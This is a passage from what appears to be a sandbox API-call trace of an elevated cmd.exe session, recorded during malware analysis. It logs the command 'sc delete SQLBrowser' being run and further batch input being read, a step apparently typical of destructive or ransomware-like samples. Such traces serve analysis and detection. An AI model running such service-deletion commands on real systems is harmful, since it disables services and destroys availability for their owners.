lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.626] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0074.627] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.627] GetProcessHeap () returned 0x240000 [0074.627] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0074.627] GetProcessHeap () returned 0x240000 [0074.627] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0074.627] GetProcessHeap () returned 0x240000 [0074.627] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0074.627] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.627] GetLastError () returned 0x2 [0074.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.627] GetLastError () returned 0x2 [0074.627] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.627] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.627] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.628] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.628] GetLastError () returned 0x2 [0074.628] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.628] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.628] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.628] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.628] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.628] GetProcessHeap () returned 0x240000 [0074.628] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0074.628] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.628] GetProcessHeap () returned 0x240000 [0074.628] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa2) returned 0x259180 [0074.629] GetProcessHeap () returned 0x240000 [0074.629] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa2 [0074.629] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLBrowser") returned 1 [0074.629] GetProcessHeap () returned 0x240000 [0074.629] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0074.629] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0074.629] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0074.629] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.629] GetProcessHeap () returned 0x240000 [0074.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.630] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.631] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.632] GetProcessHeap () returned 0x240000 [0074.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0074.632] GetProcessHeap () returned 0x240000 [0074.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0074.632] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLBrowser", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLBrowser", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SQLBrowser", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x9e4, dwThreadId=0x9f4)) returned 1 [0074.636] CloseHandle (hObject=0x54) returned 1 [0074.636] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.636] GetProcessHeap () returned 0x240000 [0074.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0074.636] GetEnvironmentStringsW () returned 0x261b10* [0074.636] GetProcessHeap () returned 0x240000 [0074.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0074.637] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.637] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0074.637] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0074.637] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0074.693] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0074.694] CloseHandle (hObject=0x50) returned 1 [0074.694] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0074.694] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.694] GetProcessHeap () returned 0x240000 [0074.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.694] GetEnvironmentStringsW () returned 0x261b10* [0074.694] GetProcessHeap () returned 0x240000 [0074.694] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0074.695] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.695] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.695] GetProcessHeap () returned 0x240000 [0074.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.695] GetEnvironmentStringsW () returned 0x261b10* [0074.695] GetProcessHeap () returned 0x240000 [0074.695] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0074.695] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.695] GetProcessHeap () returned 0x240000 [0074.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0074.695] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0074.695] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.696] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.696] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.697] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.697] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0074.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.697] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0074.697] GetConsoleOutputCP () returned 0x1b5 [0074.697] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.697] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.697] GetProcessHeap () returned 0x240000 [0074.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0074.698] GetProcessHeap () returned 0x240000 [0074.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0074.698] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0074.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.698] GetFileType (hFile=0x120) returned 0x3 [0074.698] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.698] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0074.699] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.699] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.699] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.699] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0074.699] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.699] GetFileType (hFile=0x120) returned 0x3 [0074.699] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.699] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0074.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.699] GetFileType (hFile=0xb8) returned 0x3 [0074.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLBrowser\nENT\n\nce\n") returned 1 [0074.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLBrowser\nENT\n\nce\n") returned 1 [0074.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLBrowser\nENT\n\nce\n") returned 1 [0074.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SQLBrowser\nENT\n\nce\n") returned 1 [0074.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SQLBrowser\nENT\n\nce\n") returned 1 [0074.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLBrowser\nENT\n\nce\n") returned 1 [0074.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLBrowser\nENT\n\nce\n") returned 1 [0074.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SQLBrowser\nENT\n\nce\n") returned 1 [0074.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SQLBrowser\nENT\n\nce\n") returned 1 [0074.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SQLBrowser\nENT\n\nce\n") returned 1 [0074.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SQLBrowser\nENT\n\nce\n") returned 1 [0074.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="QLBrowser\nENT\n\nce\n") returned 1 [0074.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: 